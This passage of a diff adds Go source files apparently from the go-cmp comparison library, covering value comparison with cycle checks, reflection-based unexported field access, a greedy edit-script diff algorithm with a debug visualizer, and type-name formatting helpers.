+	}
+}
+
+func (s *state) comparePtr(t reflect.Type, vx, vy reflect.Value) {
+	if vx.IsNil() || vy.IsNil() {
+		s.report(vx.IsNil() && vy.IsNil(), 0)
+		return
+	}
+
+	// Cycle-detection for pointers.
+	if eq, visited := s.curPtrs.Push(vx, vy); visited {
+		s.report(eq, reportByCycle)
+		return
+	}
+	defer s.curPtrs.Pop(vx, vy)
+
+	vx, vy = vx.Elem(), vy.Elem()
+	s.compareAny(Indirect{&indirect{pathStep{t.Elem(), vx, vy}}})
+}
+
+func (s *state) compareInterface(t reflect.Type, vx, vy reflect.Value) {
+	if vx.IsNil() || vy.IsNil() {
+		s.report(vx.IsNil() && vy.IsNil(), 0)
+		return
+	}
+	vx, vy = vx.Elem(), vy.Elem()
+	if vx.Type() != vy.Type() {
+		s.report(false, 0)
+		return
+	}
+	s.compareAny(TypeAssertion{&typeAssertion{pathStep{vx.Type(), vx, vy}}})
+}
+
+func (s *state) report(eq bool, rf resultFlags) {
+	if rf&reportByIgnore == 0 {
+		if eq {
+			s.result.NumSame++
+			rf |= reportEqual
+		} else {
+			s.result.NumDiff++
+			rf |= reportUnequal
+		}
+	}
+	for _, r := range s.reporters {
+		r.Report(Result{flags: rf})
+	}
+}
+
+// recChecker tracks the state needed to periodically perform checks that
+// user provided transformers are not stuck in an infinitely recursive cycle.
+type recChecker struct{ next int }
+
+// Check scans the Path for any recursive transformers and panics when any
+// recursive transformers are detected. Note that the presence of a
+// recursive Transformer does not necessarily imply an infinite cycle.
+// As such, this check only activates after some minimal number of path steps.
+func (rc *recChecker) Check(p Path) {
+	const minLen = 1 << 16
+	if rc.next == 0 {
+		rc.next = minLen
+	}
+	if len(p) < rc.next {
+		return
+	}
+	rc.next <<= 1
+
+	// Check whether the same transformer has appeared at least twice.
+	var ss []string
+	m := map[Option]int{}
+	for _, ps := range p {
+		if t, ok := ps.(Transform); ok {
+			t := t.Option()
+			if m[t] == 1 { // Transformer was used exactly once before
+				tf := t.(*transformer).fnc.Type()
+				ss = append(ss, fmt.Sprintf("%v: %v => %v", t, tf.In(0), tf.Out(0)))
+			}
+			m[t]++
+		}
+	}
+	if len(ss) > 0 {
+		const warning = "recursive set of Transformers detected"
+		const help = "consider using cmpopts.AcyclicTransformer"
+		set := strings.Join(ss, "\n\t")
+		panic(fmt.Sprintf("%s:\n\t%s\n%s", warning, set, help))
+	}
+}
+
+// dynChecker tracks the state needed to periodically perform checks that
+// user provided functions are symmetric and deterministic.
+// The zero value is safe for immediate use.
+type dynChecker struct{ curr, next int }
+
+// Next increments the state and reports whether a check should be performed.
+//
+// Checks occur every Nth function call, where N is a triangular number:
+//	0 1 3 6 10 15 21 28 36 45 55 66 78 91 105 120 136 153 171 190 ...
+// See https://en.wikipedia.org/wiki/Triangular_number
+//
+// This sequence ensures that the cost of checks drops significantly as
+// the number of functions calls grows larger.
+func (dc *dynChecker) Next() bool {
+	ok := dc.curr == dc.next
+	if ok {
+		dc.curr = 0
+		dc.next++
+	}
+	dc.curr++
+	return ok
+}
+
+// makeAddressable returns a value that is always addressable.
+// It returns the input verbatim if it is already addressable,
+// otherwise it creates a new value and returns an addressable copy.
+func makeAddressable(v reflect.Value) reflect.Value {
+	if v.CanAddr() {
+		return v
+	}
+	vc := reflect.New(v.Type()).Elem()
+	vc.Set(v)
+	return vc
+}
@@ -0,0 +1,16 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build purego
+// +build purego
+
+package cmp
+
+import "reflect"
+
+const supportExporters = false
+
+func retrieveUnexportedField(reflect.Value, reflect.StructField, bool) reflect.Value {
+	panic("no support for forcibly accessing unexported fields")
+}
@@ -0,0 +1,36 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build !purego
+// +build !purego
+
+package cmp
+
+import (
+	"reflect"
+	"unsafe"
+)
+
+const supportExporters = true
+
+// retrieveUnexportedField uses unsafe to forcibly retrieve any field from
+// a struct such that the value has read-write permissions.
+//
+// The parent struct, v, must be addressable, while f must be a StructField
+// describing the field to retrieve. If addr is false,
+// then the returned value will be shallowed copied to be non-addressable.
+func retrieveUnexportedField(v reflect.Value, f reflect.StructField, addr bool) reflect.Value {
+	ve := reflect.NewAt(f.Type, unsafe.Pointer(uintptr(unsafe.Pointer(v.UnsafeAddr()))+f.Offset)).Elem()
+	if !addr {
+		// A field is addressable if and only if the struct is addressable.
+		// If the original parent value was not addressable, shallow copy the
+		// value to make it non-addressable to avoid leaking an implementation
+		// detail of how forcibly exporting a field works.
+		if ve.Kind() == reflect.Interface && ve.IsNil() {
+			return reflect.Zero(f.Type)
+		}
+		return reflect.ValueOf(ve.Interface()).Convert(f.Type)
+	}
+	return ve
+}
@@ -0,0 +1,18 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build !cmp_debug
+// +build !cmp_debug
+
+package diff
+
+var debug debugger
+
+type debugger struct{}
+
+func (debugger) Begin(_, _ int, f EqualFunc, _, _ *EditScript) EqualFunc {
+	return f
+}
+func (debugger) Update() {}
+func (debugger) Finish() {}
@@ -0,0 +1,123 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build cmp_debug
+// +build cmp_debug
+
+package diff
+
+import (
+	"fmt"
+	"strings"
+	"sync"
+	"time"
+)
+
+// The algorithm can be seen running in real-time by enabling debugging:
+//	go test -tags=cmp_debug -v
+//
+// Example output:
+//	=== RUN   TestDifference/#34
+//	┌───────────────────────────────┐
+//	│ \ · · · · · · · · · · · · · · │
+//	│ · # · · · · · · · · · · · · · │
+//	│ · \ · · · · · · · · · · · · · │
+//	│ · · \ · · · · · · · · · · · · │
+//	│ · · · X # · · · · · · · · · · │
+//	│ · · · # \ · · · · · · · · · · │
+//	│ · · · · · # # · · · · · · · · │
+//	│ · · · · · # \ · · · · · · · · │
+//	│ · · · · · · · \ · · · · · · · │
+//	│ · · · · · · · · \ · · · · · · │
+//	│ · · · · · · · · · \ · · · · · │
+//	│ · · · · · · · · · · \ · · # · │
+//	│ · · · · · · · · · · · \ # # · │
+//	│ · · · · · · · · · · · # # # · │
+//	│ · · · · · · · · · · # # # # · │
+//	│ · · · · · · · · · # # # # # · │
+//	│ · · · · · · · · · · · · · · \ │
+//	└───────────────────────────────┘
+//	[.Y..M.XY......YXYXY.|]
+//
+// The grid represents the edit-graph where the horizontal axis represents
+// list X and the vertical axis represents list Y. The start of the two lists
+// is the top-left, while the ends are the bottom-right. The '·' represents
+// an unexplored node in the graph. The '\' indicates that the two symbols
+// from list X and Y are equal. The 'X' indicates that two symbols are similar
+// (but not exactly equal) to each other. The '#' indicates that the two symbols
+// are different (and not similar). The algorithm traverses this graph trying to
+// make the paths starting in the top-left and the bottom-right connect.
+//
+// The series of '.', 'X', 'Y', and 'M' characters at the bottom represents
+// the currently established path from the forward and reverse searches,
+// separated by a '|' character.
+
+const (
+	updateDelay  = 100 * time.Millisecond
+	finishDelay  = 500 * time.Millisecond
+	ansiTerminal = true // ANSI escape codes used to move terminal cursor
+)
+
+var debug debugger
+
+type debugger struct {
+	sync.Mutex
+	p1, p2           EditScript
+	fwdPath, revPath *EditScript
+	grid             []byte
+	lines            int
+}
+
+func (dbg *debugger) Begin(nx, ny int, f EqualFunc, p1, p2 *EditScript) EqualFunc {
+	dbg.Lock()
+	dbg.fwdPath, dbg.revPath = p1, p2
+	top := "┌─" + strings.Repeat("──", nx) + "┐\n"
+	row := "│ " + strings.Repeat("· ", nx) + "│\n"
+	btm := "└─" + strings.Repeat("──", nx) + "┘\n"
+	dbg.grid = []byte(top + strings.Repeat(row, ny) + btm)
+	dbg.lines = strings.Count(dbg.String(), "\n")
+	fmt.Print(dbg)
+
+	// Wrap the EqualFunc so that we can intercept each result.
+	return func(ix, iy int) (r Result) {
+		cell := dbg.grid[len(top)+iy*len(row):][len("│ ")+len("· ")*ix:][:len("·")]
+		for i := range cell {
+			cell[i] = 0 // Zero out the multiple bytes of UTF-8 middle-dot
+		}
+		switch r = f(ix, iy); {
+		case r.Equal():
+			cell[0] = '\\'
+		case r.Similar():
+			cell[0] = 'X'
+		default:
+			cell[0] = '#'
+		}
+		return
+	}
+}
+
+func (dbg *debugger) Update() {
+	dbg.print(updateDelay)
+}
+
+func (dbg *debugger) Finish() {
+	dbg.print(finishDelay)
+	dbg.Unlock()
+}
+
+func (dbg *debugger) String() string {
+	dbg.p1, dbg.p2 = *dbg.fwdPath, dbg.p2[:0]
+	for i := len(*dbg.revPath) - 1; i >= 0; i-- {
+		dbg.p2 = append(dbg.p2, (*dbg.revPath)[i])
+	}
+	return fmt.Sprintf("%s[%v|%v]\n\n", dbg.grid, dbg.p1, dbg.p2)
+}
+
+func (dbg *debugger) print(d time.Duration) {
+	if ansiTerminal {
+		fmt.Printf("\x1b[%dA", dbg.lines) // Reset terminal cursor
+	}
+	fmt.Print(dbg)
+	time.Sleep(d)
+}
@@ -0,0 +1,398 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package diff implements an algorithm for producing edit-scripts.
+// The edit-script is a sequence of operations needed to transform one list
+// of symbols into another (or vice-versa). The edits allowed are insertions,
+// deletions, and modifications. The summation of all edits is called the
+// Levenshtein distance as this problem is well-known in computer science.
+//
+// This package prioritizes performance over accuracy. That is, the run time
+// is more important than obtaining a minimal Levenshtein distance.
+package diff
+
+import (
+	"math/rand"
+	"time"
+
+	"github.com/google/go-cmp/cmp/internal/flags"
+)
+
+// EditType represents a single operation within an edit-script.
+type EditType uint8
+
+const (
+	// Identity indicates that a symbol pair is identical in both list X and Y.
+	Identity EditType = iota
+	// UniqueX indicates that a symbol only exists in X and not Y.
+	UniqueX
+	// UniqueY indicates that a symbol only exists in Y and not X.
+	UniqueY
+	// Modified indicates that a symbol pair is a modification of each other.
+	Modified
+)
+
+// EditScript represents the series of differences between two lists.
+type EditScript []EditType
+
+// String returns a human-readable string representing the edit-script where
+// Identity, UniqueX, UniqueY, and Modified are represented by the
+// '.', 'X', 'Y', and 'M' characters, respectively.
+func (es EditScript) String() string {
+	b := make([]byte, len(es))
+	for i, e := range es {
+		switch e {
+		case Identity:
+			b[i] = '.'
+		case UniqueX:
+			b[i] = 'X'
+		case UniqueY:
+			b[i] = 'Y'
+		case Modified:
+			b[i] = 'M'
+		default:
+			panic("invalid edit-type")
+		}
+	}
+	return string(b)
+}
+
+// stats returns a histogram of the number of each type of edit operation.
+func (es EditScript) stats() (s struct{ NI, NX, NY, NM int }) {
+	for _, e := range es {
+		switch e {
+		case Identity:
+			s.NI++
+		case UniqueX:
+			s.NX++
+		case UniqueY:
+			s.NY++
+		case Modified:
+			s.NM++
+		default:
+			panic("invalid edit-type")
+		}
+	}
+	return
+}
+
+// Dist is the Levenshtein distance and is guaranteed to be 0 if and only if
+// lists X and Y are equal.
+func (es EditScript) Dist() int { return len(es) - es.stats().NI }
+
+// LenX is the length of the X list.
+func (es EditScript) LenX() int { return len(es) - es.stats().NY }
+
+// LenY is the length of the Y list.
+func (es EditScript) LenY() int { return len(es) - es.stats().NX }
+
+// EqualFunc reports whether the symbols at indexes ix and iy are equal.
+// When called by Difference, the index is guaranteed to be within nx and ny.
+type EqualFunc func(ix int, iy int) Result
+
+// Result is the result of comparison.
+// NumSame is the number of sub-elements that are equal.
+// NumDiff is the number of sub-elements that are not equal.
+type Result struct{ NumSame, NumDiff int }
+
+// BoolResult returns a Result that is either Equal or not Equal.
+func BoolResult(b bool) Result {
+	if b {
+		return Result{NumSame: 1} // Equal, Similar
+	} else {
+		return Result{NumDiff: 2} // Not Equal, not Similar
+	}
+}
+
+// Equal indicates whether the symbols are equal. Two symbols are equal
+// if and only if NumDiff == 0. If Equal, then they are also Similar.
+func (r Result) Equal() bool { return r.NumDiff == 0 }
+
+// Similar indicates whether two symbols are similar and may be represented
+// by using the Modified type. As a special case, we consider binary comparisons
+// (i.e., those that return Result{1, 0} or Result{0, 1}) to be similar.
+//
+// The exact ratio of NumSame to NumDiff to determine similarity may change.
+func (r Result) Similar() bool {
+	// Use NumSame+1 to offset NumSame so that binary comparisons are similar.
+	return r.NumSame+1 >= r.NumDiff
+}
+
+var randBool = rand.New(rand.NewSource(time.Now().Unix())).Intn(2) == 0
+
+// Difference reports whether two lists of lengths nx and ny are equal
+// given the definition of equality provided as f.
+//
+// This function returns an edit-script, which is a sequence of operations
+// needed to convert one list into the other. The following invariants for
+// the edit-script are maintained:
+//	• eq == (es.Dist()==0)
+//	• nx == es.LenX()
+//	• ny == es.LenY()
+//
+// This algorithm is not guaranteed to be an optimal solution (i.e., one that
+// produces an edit-script with a minimal Levenshtein distance). This algorithm
+// favors performance over optimality. The exact output is not guaranteed to
+// be stable and may change over time.
+func Difference(nx, ny int, f EqualFunc) (es EditScript) {
+	// This algorithm is based on traversing what is known as an "edit-graph".
+	// See Figure 1 from "An O(ND) Difference Algorithm and Its Variations"
+	// by Eugene W. Myers. Since D can be as large as N itself, this is
+	// effectively O(N^2). Unlike the algorithm from that paper, we are not
+	// interested in the optimal path, but at least some "decent" path.
+	//
+	// For example, let X and Y be lists of symbols:
+	//	X = [A B C A B B A]
+	//	Y = [C B A B A C]
+	//
+	// The edit-graph can be drawn as the following:
+	//	   A B C A B B A
+	//	  ┌─────────────┐
+	//	C │_|_|\|_|_|_|_│ 0
+	//	B │_|\|_|_|\|\|_│ 1
+	//	A │\|_|_|\|_|_|\│ 2
+	//	B │_|\|_|_|\|\|_│ 3
+	//	A │\|_|_|\|_|_|\│ 4
+	//	C │ | |\| | | | │ 5
+	//	  └─────────────┘ 6
+	//	   0 1 2 3 4 5 6 7
+	//
+	// List X is written along the horizontal axis, while list Y is written
+	// along the vertical axis. At any point on this grid, if the symbol in
+	// list X matches the corresponding symbol in list Y, then a '\' is drawn.
+	// The goal of any minimal edit-script algorithm is to find a path from the
+	// top-left corner to the bottom-right corner, while traveling through the
+	// fewest horizontal or vertical edges.
+	// A horizontal edge is equivalent to inserting a symbol from list X.
+	// A vertical edge is equivalent to inserting a symbol from list Y.
+	// A diagonal edge is equivalent to a matching symbol between both X and Y.
+
+	// Invariants:
+	//	• 0 ≤ fwdPath.X ≤ (fwdFrontier.X, revFrontier.X) ≤ revPath.X ≤ nx
+	//	• 0 ≤ fwdPath.Y ≤ (fwdFrontier.Y, revFrontier.Y) ≤ revPath.Y ≤ ny
+	//
+	// In general:
+	//	• fwdFrontier.X < revFrontier.X
+	//	• fwdFrontier.Y < revFrontier.Y
+	// Unless, it is time for the algorithm to terminate.
+	fwdPath := path{+1, point{0, 0}, make(EditScript, 0, (nx+ny)/2)}
+	revPath := path{-1, point{nx, ny}, make(EditScript, 0)}
+	fwdFrontier := fwdPath.point // Forward search frontier
+	revFrontier := revPath.point // Reverse search frontier
+
+	// Search budget bounds the cost of searching for better paths.
+	// The longest sequence of non-matching symbols that can be tolerated is
+	// approximately the square-root of the search budget.
+	searchBudget := 4 * (nx + ny) // O(n)
+
+	// Running the tests with the "cmp_debug" build tag prints a visualization
+	// of the algorithm running in real-time. This is educational for
+	// understanding how the algorithm works. See debug_enable.go.
+	f = debug.Begin(nx, ny, f, &fwdPath.es, &revPath.es)
+
+	// The algorithm below is a greedy, meet-in-the-middle algorithm for
+	// computing sub-optimal edit-scripts between two lists.
+	//
+	// The algorithm is approximately as follows:
+	//	• Searching for differences switches back-and-forth between
+	//	a search that starts at the beginning (the top-left corner), and
+	//	a search that starts at the end (the bottom-right corner). The goal of
+	//	the search is connect with the search from the opposite corner.
+	//	• As we search, we build a path in a greedy manner, where the first
+	//	match seen is added to the path (this is sub-optimal, but provides a
+	//	decent result in practice). When matches are found, we try the next pair
+	//	of symbols in the lists and follow all matches as far as possible.
+	//	• When searching for matches, we search along a diagonal going through
+	//	through the "frontier" point. If no matches are found, we advance the
+	//	frontier towards the opposite corner.
+	//	• This algorithm terminates when either the X coordinates or the
+	//	Y coordinates of the forward and reverse frontier points ever intersect.
+
+	// This algorithm is correct even if searching only in the forward direction
+	// or in the reverse direction. We do both because it is commonly observed
+	// that two lists commonly differ because elements were added to the front
+	// or end of the other list.
+	//
+	// Non-deterministically start with either the forward or reverse direction
+	// to introduce some deliberate instability so that we have the flexibility
+	// to change this algorithm in the future.
+	if flags.Deterministic || randBool {
+		goto forwardSearch
+	} else {
+		goto reverseSearch
+	}
+
+forwardSearch:
+	{
+		// Forward search from the beginning.
+		if fwdFrontier.X >= revFrontier.X || fwdFrontier.Y >= revFrontier.Y || searchBudget == 0 {
+			goto finishSearch
+		}
+		for stop1, stop2, i := false, false, 0; !(stop1 && stop2) && searchBudget > 0; i++ {
+			// Search in a diagonal pattern for a match.
+			z := zigzag(i)
+			p := point{fwdFrontier.X + z, fwdFrontier.Y - z}
+			switch {
+			case p.X >= revPath.X || p.Y < fwdPath.Y:
+				stop1 = true // Hit top-right corner
+			case p.Y >= revPath.Y || p.X < fwdPath.X:
+				stop2 = true // Hit bottom-left corner
+			case f(p.X, p.Y).Equal():
+				// Match found, so connect the path to this point.
+				fwdPath.connect(p, f)
+				fwdPath.append(Identity)
+				// Follow sequence of matches as far as possible.
+				for fwdPath.X < revPath.X && fwdPath.Y < revPath.Y {
+					if !f(fwdPath.X, fwdPath.Y).Equal() {
+						break
+					}
+					fwdPath.append(Identity)
+				}
+				fwdFrontier = fwdPath.point
+				stop1, stop2 = true, true
+			default:
+				searchBudget-- // Match not found
+			}
+			debug.Update()
+		}
+		// Advance the frontier towards reverse point.
+		if revPath.X-fwdFrontier.X >= revPath.Y-fwdFrontier.Y {
+			fwdFrontier.X++
+		} else {
+			fwdFrontier.Y++
+		}
+		goto reverseSearch
+	}
+
+reverseSearch:
+	{
+		// Reverse search from the end.
+		if fwdFrontier.X >= revFrontier.X || fwdFrontier.Y >= revFrontier.Y || searchBudget == 0 {
+			goto finishSearch
+		}
+		for stop1, stop2, i := false, false, 0; !(stop1 && stop2) && searchBudget > 0; i++ {
+			// Search in a diagonal pattern for a match.
+			z := zigzag(i)
+			p := point{revFrontier.X - z, revFrontier.Y + z}
+			switch {
+			case fwdPath.X >= p.X || revPath.Y < p.Y:
+				stop1 = true // Hit bottom-left corner
+			case fwdPath.Y >= p.Y || revPath.X < p.X:
+				stop2 = true // Hit top-right corner
+			case f(p.X-1, p.Y-1).Equal():
+				// Match found, so connect the path to this point.
+				revPath.connect(p, f)
+				revPath.append(Identity)
+				// Follow sequence of matches as far as possible.
+				for fwdPath.X < revPath.X && fwdPath.Y < revPath.Y {
+					if !f(revPath.X-1, revPath.Y-1).Equal() {
+						break
+					}
+					revPath.append(Identity)
+				}
+				revFrontier = revPath.point
+				stop1, stop2 = true, true
+			default:
+				searchBudget-- // Match not found
+			}
+			debug.Update()
+		}
+		// Advance the frontier towards forward point.
+		if revFrontier.X-fwdPath.X >= revFrontier.Y-fwdPath.Y {
+			revFrontier.X--
+		} else {
+			revFrontier.Y--
+		}
+		goto forwardSearch
+	}
+
+finishSearch:
+	// Join the forward and reverse paths and then append the reverse path.
+	fwdPath.connect(revPath.point, f)
+	for i := len(revPath.es) - 1; i >= 0; i-- {
+		t := revPath.es[i]
+		revPath.es = revPath.es[:i]
+		fwdPath.append(t)
+	}
+	debug.Finish()
+	return fwdPath.es
+}
+
+type path struct {
+	dir   int // +1 if forward, -1 if reverse
+	point     // Leading point of the EditScript path
+	es    EditScript
+}
+
+// connect appends any necessary Identity, Modified, UniqueX, or UniqueY types
+// to the edit-script to connect p.point to dst.
+func (p *path) connect(dst point, f EqualFunc) {
+	if p.dir > 0 {
+		// Connect in forward direction.
+		for dst.X > p.X && dst.Y > p.Y {
+			switch r := f(p.X, p.Y); {
+			case r.Equal():
+				p.append(Identity)
+			case r.Similar():
+				p.append(Modified)
+			case dst.X-p.X >= dst.Y-p.Y:
+				p.append(UniqueX)
+			default:
+				p.append(UniqueY)
+			}
+		}
+		for dst.X > p.X {
+			p.append(UniqueX)
+		}
+		for dst.Y > p.Y {
+			p.append(UniqueY)
+		}
+	} else {
+		// Connect in reverse direction.
+		for p.X > dst.X && p.Y > dst.Y {
+			switch r := f(p.X-1, p.Y-1); {
+			case r.Equal():
+				p.append(Identity)
+			case r.Similar():
+				p.append(Modified)
+			case p.Y-dst.Y >= p.X-dst.X:
+				p.append(UniqueY)
+			default:
+				p.append(UniqueX)
+			}
+		}
+		for p.X > dst.X {
+			p.append(UniqueX)
+		}
+		for p.Y > dst.Y {
+			p.append(UniqueY)
+		}
+	}
+}
+
+func (p *path) append(t EditType) {
+	p.es = append(p.es, t)
+	switch t {
+	case Identity, Modified:
+		p.add(p.dir, p.dir)
+	case UniqueX:
+		p.add(p.dir, 0)
+	case UniqueY:
+		p.add(0, p.dir)
+	}
+	debug.Update()
+}
+
+type point struct{ X, Y int }
+
+func (p *point) add(dx, dy int) { p.X += dx; p.Y += dy }
+
+// zigzag maps a consecutive sequence of integers to a zig-zag sequence.
+//	[0 1 2 3 4 5 ...] => [0 -1 +1 -2 +2 ...]
+func zigzag(x int) int {
+	if x&1 != 0 {
+		x = ^x
+	}
+	return x >> 1
+}
@@ -0,0 +1,9 @@
+// Copyright 2019, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package flags
+
+// Deterministic controls whether the output of Diff should be deterministic.
+// This is only used for testing.
+var Deterministic bool
@@ -0,0 +1,99 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package function provides functionality for identifying function types.
+package function
+
+import (
+	"reflect"
+	"regexp"
+	"runtime"
+	"strings"
+)
+
+type funcType int
+
+const (
+	_ funcType = iota
+
+	tbFunc  // func(T) bool
+	ttbFunc // func(T, T) bool
+	trbFunc // func(T, R) bool
+	tibFunc // func(T, I) bool
+	trFunc  // func(T) R
+
+	Equal             = ttbFunc // func(T, T) bool
+	EqualAssignable   = tibFunc // func(T, I) bool; encapsulates func(T, T) bool
+	Transformer       = trFunc  // func(T) R
+	ValueFilter       = ttbFunc // func(T, T) bool
+	Less              = ttbFunc // func(T, T) bool
+	ValuePredicate    = tbFunc  // func(T) bool
+	KeyValuePredicate = trbFunc // func(T, R) bool
+)
+
+var boolType = reflect.TypeOf(true)
+
+// IsType reports whether the reflect.Type is of the specified function type.
+func IsType(t reflect.Type, ft funcType) bool {
+	if t == nil || t.Kind() != reflect.Func || t.IsVariadic() {
+		return false
+	}
+	ni, no := t.NumIn(), t.NumOut()
+	switch ft {
+	case tbFunc: // func(T) bool
+		if ni == 1 && no == 1 && t.Out(0) == boolType {
+			return true
+		}
+	case ttbFunc: // func(T, T) bool
+		if ni == 2 && no == 1 && t.In(0) == t.In(1) && t.Out(0) == boolType {
+			return true
+		}
+	case trbFunc: // func(T, R) bool
+		if ni == 2 && no == 1 && t.Out(0) == boolType {
+			return true
+		}
+	case tibFunc: // func(T, I) bool
+		if ni == 2 && no == 1 && t.In(0).AssignableTo(t.In(1)) && t.Out(0) == boolType {
+			return true
+		}
+	case trFunc: // func(T) R
+		if ni == 1 && no == 1 {
+			return true
+		}
+	}
+	return false
+}
+
+var lastIdentRx = regexp.MustCompile(`[_\p{L}][_\p{L}\p{N}]*$`)
+
+// NameOf returns the name of the function value.
+func NameOf(v reflect.Value) string {
+	fnc := runtime.FuncForPC(v.Pointer())
+	if fnc == nil {
+		return "<unknown>"
+	}
+	fullName := fnc.Name() // e.g., "long/path/name/mypkg.(*MyType).(long/path/name/mypkg.myMethod)-fm"
+
+	// Method closures have a "-fm" suffix.
+	fullName = strings.TrimSuffix(fullName, "-fm")
+
+	var name string
+	for len(fullName) > 0 {
+		inParen := strings.HasSuffix(fullName, ")")
+		fullName = strings.TrimSuffix(fullName, ")")
+
+		s := lastIdentRx.FindString(fullName)
+		if s == "" {
+			break
+		}
+		name = s + "." + name
+		fullName = strings.TrimSuffix(fullName, s)
+
+		if i := strings.LastIndexByte(fullName, '('); inParen && i >= 0 {
+			fullName = fullName[:i]
+		}
+		fullName = strings.TrimSuffix(fullName, ".")
+	}
+	return strings.TrimSuffix(name, ".")
+}
@@ -0,0 +1,164 @@
+// Copyright 2020, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package value
+
+import (
+	"reflect"
+	"strconv"
+)
+
+var anyType = reflect.TypeOf((*interface{})(nil)).Elem()
+
+// TypeString is nearly identical to reflect.Type.String,
+// but has an additional option to specify that full type names be used.
+func TypeString(t reflect.Type, qualified bool) string {
+	return string(appendTypeName(nil, t, qualified, false))
+}
+
+func appendTypeName(b []byte, t reflect.Type, qualified, elideFunc bool) []byte {
+	// BUG: Go reflection provides no way to disambiguate two named types
+	// of the same name and within the same package,
+	// but declared within the namespace of different functions.
+
+	// Use the "any" alias instead of "interface{}" for better readability.
+	if t == anyType {
+		return append(b, "any"...)
+	}
+
+	// Named type.
+	if t.Name() != "" {
+		if qualified && t.PkgPath() != "" {
+			b = append(b, '"')
+			b = append(b, t.PkgPath()...)
+			b = append(b, '"')
+			b = append(b, '.')
+			b = append(b, t.Name()...)
+		} else {
+			b = append(b, t.String()...)
+		}
+		return b
+	}
+
+	// Unnamed type.
+	switch k := t.Kind(); k {
+	case reflect.Bool, reflect.String, reflect.UnsafePointer,
+		reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64,
+		reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr,
+		reflect.Float32, reflect.Float64, reflect.Complex64, reflect.Complex128:
+		b = append(b, k.String()...)
+	case reflect.Chan:
+		if t.ChanDir() == reflect.RecvDir {
+			b = append(b, "<-"...)
+		}
+		b = append(b, "chan"...)
+		if t.ChanDir() == reflect.SendDir {
+			b = append(b, "<-"...)
+		}
+		b = append(b, ' ')
+		b = appendTypeName(b, t.Elem(), qualified, false)
+	case reflect.Func:
+		if !elideFunc {
+			b = append(b, "func"...)
+		}
+		b = append(b, '(')
+		for i := 0; i < t.NumIn(); i++ {
+			if i > 0 {
+				b = append(b, ", "...)
+			}
+			if i == t.NumIn()-1 && t.IsVariadic() {
+				b = append(b, "..."...)
+				b = appendTypeName(b, t.In(i).Elem(), qualified, false)
+			} else {
+				b = appendTypeName(b, t.In(i), qualified, false)
+			}
+		}
+		b = append(b, ')')
+		switch t.NumOut() {
+		case 0:
+			// Do nothing
+		case 1:
+			b = append(b, ' ')
+			b = appendTypeName(b, t.Out(0), qualified, false)
+		default:
+			b = append(b, " ("...)
+			for i := 0; i < t.NumOut(); i++ {
+				if i > 0 {
+					b = append(b, ", "...)
+				}
+				b = appendTypeName(b, t.Out(i), qualified, false)
+			}
+			b = append(b, ')')
+		}
+	case reflect.Struct:
+		b = append(b, "struct{ "...)
+		for i := 0; i < t.NumField(); i++ {
+			if i > 0 {
+				b = append(b, "; "...)
+			}
+			sf := t.Field(i)
+			if !sf.Anonymous {
+				if qualified && sf.PkgPath != "" {
+					b = append(b, '"')
+					b = append(b, sf.PkgPath...)
+					b = append(b, '"')
+					b = append(b, '.')
+				}
+				b = append(b, sf.Name...)
+				b = append(b, ' ')
+			}
+			b = appendTypeName(b, sf.Type, qualified, false)
+			if sf.Tag != "" {
+				b = append(b, ' ')
+				b = strconv.AppendQuote(b, string(sf.Tag))
+			}
+		}
+		if b[len(b)-1] == ' ' {
+			b = b[:len(b)-1]
+		} else {
+			b = append(b, ' ')
+		}
+		b = append(b, '}')
+	case reflect.Slice, reflect.Array:
+		b = append(b, '[')
+		if k == reflect.Array {
+			b = strconv.AppendUint(b, uint64(t.Len()), 10)
+		}
+		b = append(b, ']')
+		b = appendTypeName(b, t.Elem(), qualified, false)
+	case reflect.Map:
+		b = append(b, "map["...)
+		b = appendTypeName(b, t.Key(), qualified, false)
+		b = append(b, ']')
+		b = appendTypeName(b, t.Elem(), qualified, false)
+	case reflect.Ptr:
+		b = append(b, '*')
+		b = appendTypeName(b, t.Elem(), qualified, false)
+	case reflect.Interface:
+		b = append(b, "interface{ "...)
+		for i := 0; i < t.NumMethod(); i++ {
+			if i > 0 {
+				b = append(b, "; "...)
+			}
+			m := t.Method(i)
+			if qualified && m.PkgPath != "" {
+				b = append(b, '"')
+				b = append(b, m.PkgPath...)
+				b = append(b, '"')
+				b = append(b, '.')
+			}
+			b = append(b, m.Name...)
+			b = appendTypeName(b, m.Type, qualified, true)
+		}
+		if b[len(b)-1] == ' ' {
+			b = b[:len(b)-1]
+		} else {
+			b = append(b, ' ')
+		}
+		b = append(b, '}')
+	default:
+		panic("invalid kind: " + k.String())
+	}
+	return b
+}
@@ -0,0 +1,34 @@
+// Copyright 2018, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build purego
+// +build purego
+
+package value
+
+import "reflect"
+
+// Pointer is an opaque typed pointer and is guaranteed to be comparable.
+type Pointer struct {
+	p uintptr
+	t reflect.Type
+}
+
+// PointerOf returns a Pointer from v, which must be a
+// reflect.Ptr, reflect.Slice, or reflect.Map.
+func PointerOf(v reflect.Value) Pointer {
+	// NOTE: Storing a pointer as an uintptr is technically incorrect as it
+	// assumes that the GC implementation does not use a moving collector.
+	return Pointer{v.Pointer(), v.Type()}
+}
+
+// IsNil reports whether the pointer is nil.
+func (p Pointer) IsNil() bool {
+	return p.p == 0
+}
+
+// Uintptr returns the pointer as a uintptr.
+func (p Pointer) Uintptr() uintptr {
+	return p.p
+}
